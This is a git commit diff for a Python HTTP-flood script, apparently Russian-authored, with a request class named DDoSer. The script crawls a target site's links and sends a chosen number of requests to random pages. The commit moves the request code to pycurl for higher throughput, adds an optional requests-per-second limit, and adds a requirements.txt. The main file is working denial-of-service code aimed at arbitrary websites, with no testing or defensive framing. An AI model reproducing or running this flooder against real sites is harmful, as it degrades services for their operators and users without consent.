PyCurl ~ 140 з/с

This commit is contained in:
2020-04-28 23:41:25 +03:00
parent 53c9a0f8f3
commit 371e792640
2 changed files with 79 additions and 47 deletions

View File

@@ -5,7 +5,7 @@ import link_extractor
import time import time
import random import random
import progressbar import progressbar
import faster_than_requests as requests import pycurl
from datetime import datetime from datetime import datetime
from threading import Thread from threading import Thread
@@ -15,6 +15,8 @@ global requestCountSuccess, requestCountExecuted
if not os.path.exists('./maps/'): if not os.path.exists('./maps/'):
os.makedirs('./maps/') os.makedirs('./maps/')
devnull = open('/dev/null', 'w')
def url_grab(full_url): def url_grab(full_url):
@@ -31,7 +33,6 @@ def url_grab(full_url):
for link in subUrls: for link in subUrls:
print(link.strip(), file=f) print(link.strip(), file=f)
print(datetime.now().strftime('[%X] ') + 'Карта сайта получена') print(datetime.now().strftime('[%X] ') + 'Карта сайта получена')
return subUrls return subUrls
@@ -45,11 +46,13 @@ class DDoSer(Thread):
global requestCountSuccess, requestCountExecuted global requestCountSuccess, requestCountExecuted
# responce = requests.urlopen(self.url).getcode() # urlib curl = pycurl.Curl()
responce = requests.get(self.url)['status'] curl.setopt(curl.URL, self.url)
if responce == '200 OK': curl.setopt(curl.WRITEFUNCTION, lambda bytes: len(bytes))
curl.perform()
if curl.getinfo(pycurl.HTTP_CODE) == 200:
requestCountSuccess += 1 requestCountSuccess += 1
curl.close()
requestCountExecuted += 1 requestCountExecuted += 1
@@ -60,17 +63,32 @@ if __name__ == '__main__':
subUrls = url_grab(url) subUrls = url_grab(url)
requestCount = int(input(datetime.now().strftime('[%X] ') + 'Введите число запросов: ')) speed = input(datetime.now().strftime(
'[%X] ') + 'Введите скорость запросов(з/с) или оставьте пустым для максимальной: ')
requestCount = int(input(datetime.now().strftime(
'[%X] ') + 'Введите число запросов: '))
print() print()
startTime = time.time()
requestCountExecuted = 0 requestCountExecuted = 0
requestCountSuccess = 0 requestCountSuccess = 0
with progressbar.ProgressBar(max_value=requestCount) as bar: with progressbar.ProgressBar(max_value=requestCount) as bar:
startTime = time.time()
if speed:
speed = int(speed)
for i in range(requestCount): for i in range(requestCount):
url = random.choice(subUrls) delayStartTime = time.time()
thread = DDoSer(url) curUrl = random.choice(subUrls)
thread = DDoSer(curUrl)
thread.start()
thread.join()
bar.update(requestCountExecuted)
if time.time() - delayStartTime < 1 / speed:
time.sleep(1 / speed - time.time() + delayStartTime)
else:
for i in range(requestCount):
curUrl = random.choice(subUrls)
thread = DDoSer(curUrl)
thread.start() thread.start()
thread.join() thread.join()
bar.update(requestCountExecuted) bar.update(requestCountExecuted)
@@ -78,6 +96,7 @@ if __name__ == '__main__':
while requestCountExecuted < requestCount: while requestCountExecuted < requestCount:
bar.update(requestCountExecuted) bar.update(requestCountExecuted)
print('\n' + datetime.now().strftime('[%X] ') + 'Всего выслано запросов: ' + str(requestCountExecuted)) print(datetime.now().strftime(
print(datetime.now().strftime('[%X] ') + 'Успешных запросов: ' + str(requestCountSuccess)) '[%X] ') + 'Успешных запросов: ' + str(requestCountSuccess))
print(datetime.now().strftime('[%X] ') + 'Средняя скорость: ' + str(round(requestCountExecuted/(time.time() - startTime))) + ' з/с') print(datetime.now().strftime('[%X] ') + 'Средняя скорость: ' + str(
round(requestCountExecuted / (time.time() - startTime))) + ' з/с')

13
requirements.txt Normal file
View File

@@ -0,0 +1,13 @@
beautifulsoup4==4.9.0
bs4==0.0.1
certifi==2020.4.5.1
chardet==3.0.4
colorama==0.4.3
idna==2.9
progressbar2==3.51.0
pycurl==7.43.0.5
python-utils==2.4.0
requests==2.23.0
six==1.14.0
soupsieve==2.0
urllib3==1.25.9